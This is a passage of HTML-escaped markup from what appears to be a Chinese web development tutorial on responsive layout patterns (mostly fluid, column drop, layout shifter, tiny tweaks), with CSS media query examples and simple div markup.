Fluid&#xFF09;</h4>\n<p>&#x5927;&#x4F53;&#x6D41;&#x52A8;&#x5E03;&#x5C40;&#x7684;&#x4E3B;&#x8981;&#x7279;&#x70B9;&#x662F;&#x5728;&#x5927;&#x5C4F;&#x5E55;&#x4E0A;&#xFF0C;&#x5185;&#x5BB9;&#x533A;&#x57DF;&#x5BBD;&#x5EA6;&#x662F;&#x56FA;&#x5B9A;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x591A;&#x6570;&#x8BBE;&#x5907;&#x4E0A;&#xFF0C;&#x4E3B;&#x8981;&#x5E03;&#x5C40;&#x7ED3;&#x6784;&#x5E76;&#x6CA1;&#x6709;&#x5F88;&#x5927;&#x6539;&#x53D8;&#xFF0C;&#x5982;&#x679C;&#x5C4F;&#x5E55;&#x5BBD;&#x5EA6;&#x5927;&#x4E8E;&#x5185;&#x5BB9;&#x533A;&#x57DF;&#xFF0C;&#x5C31;&#x5728;&#x5185;&#x5BB9;&#x5DE6;&#x53F3;&#x7559;&#x767D;&#x3002;&#x800C;&#x5728;&#x89C6;&#x7A97;&#x5BBD;&#x5EA6;&#x8F83;&#x7A84;&#x65F6;&#xFF0C;&#x4F1A;&#x9010;&#x6E10;&#x6389;&#x843D;&#x5448;&#x5806;&#x653E;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/mostly_fluid.png\" alt=\"&#x5927;&#x4F53;&#x6D41;&#x52A8;&#x5E03;&#x5C40;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x5927;&#x4F53;&#x6D41;&#x52A8;&#x5E03;&#x5C40;&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#xFF0C;&#x5F80;&#x5F80;&#x53EA;&#x9700;&#x8981;&#x5C11;&#x91CF;&#x7684;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x5C31;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token selector\">.box</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 100%<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">height</span><span class=\"token punctuation\">:</span> 150px<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">/* &#x8BBE;&#x7F6E;&#x5404;&#x4E2A;&#x533A;&#x5757;&#x7684;&#x989C;&#x8272; */</span>\n<span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #009<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b2</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #06c<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b3</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #39f<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b4</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #6cf<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.b5</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #cff<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">/* &#x5728;&#x5927;&#x4E8E; 450px &#x65F6;&#xFF0C;&#x5C06; .b2, .b3 &#x5BBD;&#x5EA6;&#x8BBE;&#x7F6E;&#x4E3A; 50% */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 450px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b2, .b3</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 50%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">/* &#x5728;&#x5927;&#x4E8E; 800px &#x65F6;&#xFF0C;&#x5C06; .b1, .b2 &#x5BBD;&#x5EA6;&#x8BBE;&#x7F6E;&#x4E3A; 50%&#xFF0C;&#x8BA9; .b3, .b4, .b5 &#x5E73;&#x5206;&#x4E00;&#x884C; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 800px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b1, .b2</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 50%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.b3, .b4, .b5</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 33.333333%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">/* &#x5B9A;&#x4E49;&#x6700;&#x5927;&#x5BBD;&#x5EA6;&#x4E3A; 980px */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 980px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.container</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">max-width</span><span class=\"token punctuation\">:</span> 980px<span class=\"token punctuation\">;</span>\n    <span class=\"token property\">margin</span><span class=\"token punctuation\">:</span> auto<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n...\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>container<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b3<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b4<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b5<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h4 id=\"&#x7B2C;&#x4E8C;&#x79CD;&#xFF1A;&#x5217;&#x6389;&#x843D;-&#xFF08;column-drop&#xFF09;\"><a name=\"&#x7B2C;&#x4E8C;&#x79CD;&#xFF1A;&#x5217;&#x6389;&#x843D;-&#xFF08;column-drop&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B2C;&#x4E8C;&#x79CD;&#xFF1A;&#x5217;&#x6389;&#x843D;-&#xFF08;column-drop&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B2C;&#x4E8C;&#x79CD;&#xFF1A;&#x5217;&#x6389;&#x843D;-&#xFF08;column-drop&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x7B2C;&#x4E8C;&#x79CD;&#xFF1A;&#x5217;&#x6389;&#x843D;-&#xFF08;column-drop&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B2C;&#x4E8C;&#x79CD;&#xFF1A;&#x5217;&#x6389;&#x843D; &#xFF08;Column Drop&#xFF09;</h4>\n<p>&#x5217;&#x6389;&#x843D;&#xFF0C;&#x5E03;&#x5C40;&#x4E2D;&#x7684;&#x6BCF;&#x5217;&#x968F;&#x7740;&#x5BBD;&#x5EA6;&#x53D8;&#x5C0F;&#x800C;&#x9010;&#x4E2A;&#x6389;&#x843D;&#xFF0C;&#x5728;&#x89C6;&#x53E3;&#x6700;&#x5C0F;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x6BCF;&#x4E2A;&#x5143;&#x7D20;&#x90FD;&#x7EB5;&#x5411;&#x5806;&#x653E;&#x3002;&#x548C;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#x5E03;&#x5C40;&#x4E0D;&#x540C;&#x70B9;&#x5728;&#x4E8E;&#xFF0C;&#x5217;&#x6389;&#x843D;&#x5E03;&#x5C40;&#x4E0D;&#x4F1A;&#x8BBE;&#x7F6E;&#x6700;&#x5927;&#x5BBD;&#x5EA6;&#xFF0C;&#x5982;&#x679C;&#x89C6;&#x53E3;&#x8DB3;&#x591F;&#x5927;&#xFF0C;&#x5217;&#x6389;&#x843D;&#x5E03;&#x5C40;&#x4E5F;&#x4F1A;&#x586B;&#x6EE1;&#x6574;&#x4E2A;&#x9875;&#x9762;&#x3002;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x7684;&#x65AD;&#x70B9;&#x9009;&#x62E9;&#x9700;&#x8981;&#x6839;&#x636E;&#x7F51;&#x9875;&#x672C;&#x8EAB;&#x7684;&#x5185;&#x5BB9;&#x6765;&#x9009;&#x62E9;&#x3002;</p>\n<p><img src=\"img/column_drop.png\" alt=\"&#x5217;&#x6389;&#x843D;&#x5E03;&#x5C40;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x5217;&#x6389;&#x843D;&#x6BD4;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#x5E03;&#x5C40;&#x8981;&#x7B80;&#x5355;&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token comment\">/* &#x5728;&#x5927;&#x4E8E; 450px &#x65F6;&#xFF0C;&#x5C06; .b1 &#x548C; .b2 &#x653E;&#x7F6E;&#x5728;&#x540C;&#x4E00;&#x884C;&#xFF0C;&#x5206;&#x522B;&#x5360;&#x636E; 30% &#x548C; 70% */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 450px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 30%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.b2</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 70%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">/* &#x5728;&#x5927;&#x4E8E; 800px &#x65F6;&#xFF0C;.b1, .b3 &#x5404;&#x5360; 20% &#x533A;&#x57DF;&#xFF0C;.b2 &#x5728;&#x4E2D;&#x95F4;&#x5360; 60% */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 800px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b1, .b3</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 20%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.b2</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 60%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n...\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>container<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b3<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b4<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b5<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h4 id=\"&#x7B2C;&#x4E09;&#x79CD;&#xFF1A;&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#xFF08;layout-shifter&#xFF09;\"><a name=\"&#x7B2C;&#x4E09;&#x79CD;&#xFF1A;&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#xFF08;layout-shifter&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B2C;&#x4E09;&#x79CD;&#xFF1A;&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#xFF08;layout-shifter&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B2C;&#x4E09;&#x79CD;&#xFF1A;&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#xFF08;layout-shifter&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x7B2C;&#x4E09;&#x79CD;&#xFF1A;&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#xFF08;layout-shifter&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B2C;&#x4E09;&#x79CD;&#xFF1A;&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#xFF08;Layout Shifter&#xFF09;</h4>\n<p>&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#x662F;&#x6700;&#x7075;&#x6D3B;&#x7684;&#x5E03;&#x5C40;&#x65B9;&#x5F0F;&#xFF0C;&#x5B83;&#x4E0D;&#x4EC5;&#x4EC5;&#x5C06;&#x5143;&#x7D20;&#x6309;&#x7167;&#x4ECE;&#x524D;&#x5230;&#x540E;&#xFF0C;&#x4ECE;&#x4E0A;&#x5230;&#x4E0B;&#x6392;&#x5217;&#xFF0C;&#x6709;&#x65F6;&#x8FD8;&#x4F1A;&#x6539;&#x53D8;&#x5143;&#x7D20;&#x7684;&#x4F4D;&#x7F6E;&#x3002;</p>\n<p><img src=\"img/layout_shifter.png\" alt=\"&#x5E03;&#x5C40;&#x79FB;&#x4F4D;&#x5E03;&#x5C40;&#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token comment\">/* &#x5728;&#x5927;&#x4E8E; 800px &#x65F6;&#xFF0C;&#x5C06; .b1 &#x548C; .b4 &#x653E;&#x7F6E;&#x5728;&#x540C;&#x4E00;&#x884C;&#xFF0C;&#x5206;&#x522B;&#x5360;&#x636E; 20% &#x548C; 80% */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 800px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 20%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token selector\">.b4</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 80%<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n...\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>container<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b4<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b2<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b3<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h4 id=\"&#x7B2C;&#x56DB;&#x79CD;&#xFF1A;&#x5FAE;&#x8C03;&#xFF08;tiny-tweaks&#xFF09;\"><a name=\"&#x7B2C;&#x56DB;&#x79CD;&#xFF1A;&#x5FAE;&#x8C03;&#xFF08;tiny-tweaks&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B2C;&#x56DB;&#x79CD;&#xFF1A;&#x5FAE;&#x8C03;&#xFF08;tiny-tweaks&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B2C;&#x56DB;&#x79CD;&#xFF1A;&#x5FAE;&#x8C03;&#xFF08;tiny-tweaks&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x7B2C;&#x56DB;&#x79CD;&#xFF1A;&#x5FAE;&#x8C03;&#xFF08;tiny-tweaks&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B2C;&#x56DB;&#x79CD;&#xFF1A;&#x5FAE;&#x8C03;&#xFF08;Tiny Tweaks&#xFF09;</h4>\n<p>&#x5FAE;&#x8C03;&#xFF0C;&#x610F;&#x601D;&#x5C31;&#x662F;&#x5728;&#x89C6;&#x53E3;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x65F6;&#xFF0C;&#x5BF9;&#x5185;&#x5BB9;&#x8FDB;&#x884C;&#x4E00;&#x4E9B;&#x5C0F;&#x7684;&#x8C03;&#x6574;&#xFF0C;&#x6BD4;&#x5982;&#x8C03;&#x6574;&#x5B57;&#x4F53;&#x3001;&#x56FE;&#x7247;&#x5927;&#x5C0F;&#x6216;&#x8005;&#x5143;&#x7D20;&#x95F4;&#x8DDD;&#x7B49;&#x3002;</p>\n<p><img src=\"img/tiny_tweaks.png\" alt=\"&#x5B57;&#x4F53;&#x5FAE;&#x8C03;&#x793A;&#x610F;&#x56FE;\"></p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">background</span><span class=\"token punctuation\">:</span> #39f<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">text-align</span><span class=\"token punctuation\">:</span> center<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">padding-top</span><span class=\"token punctuation\">:</span> 10%<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 1em<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 450px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 2em<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 800px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">.b1</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 4em<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n...\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>container<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>box b1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>&#x5B57;&#x4F53;&#x5927;&#x5C0F;<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h4 id=\"&#x7B2C;&#x4E94;&#x79CD;&#xFF1A;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#xFF08;off-canvas&#xFF09;\"><a name=\"&#x7B2C;&#x4E94;&#x79CD;&#xFF1A;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#xFF08;off-canvas&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B2C;&#x4E94;&#x79CD;&#xFF1A;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#xFF08;off-canvas&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B2C;&#x4E94;&#x79CD;&#xFF1A;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#xFF08;off-canvas&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x7B2C;&#x4E94;&#x79CD;&#xFF1A;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#xFF08;off-canvas&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B2C;&#x4E94;&#x79CD;&#xFF1A;&#x753B;&#x5E03;&#x6EA2;&#x51FA;&#xFF08;Off 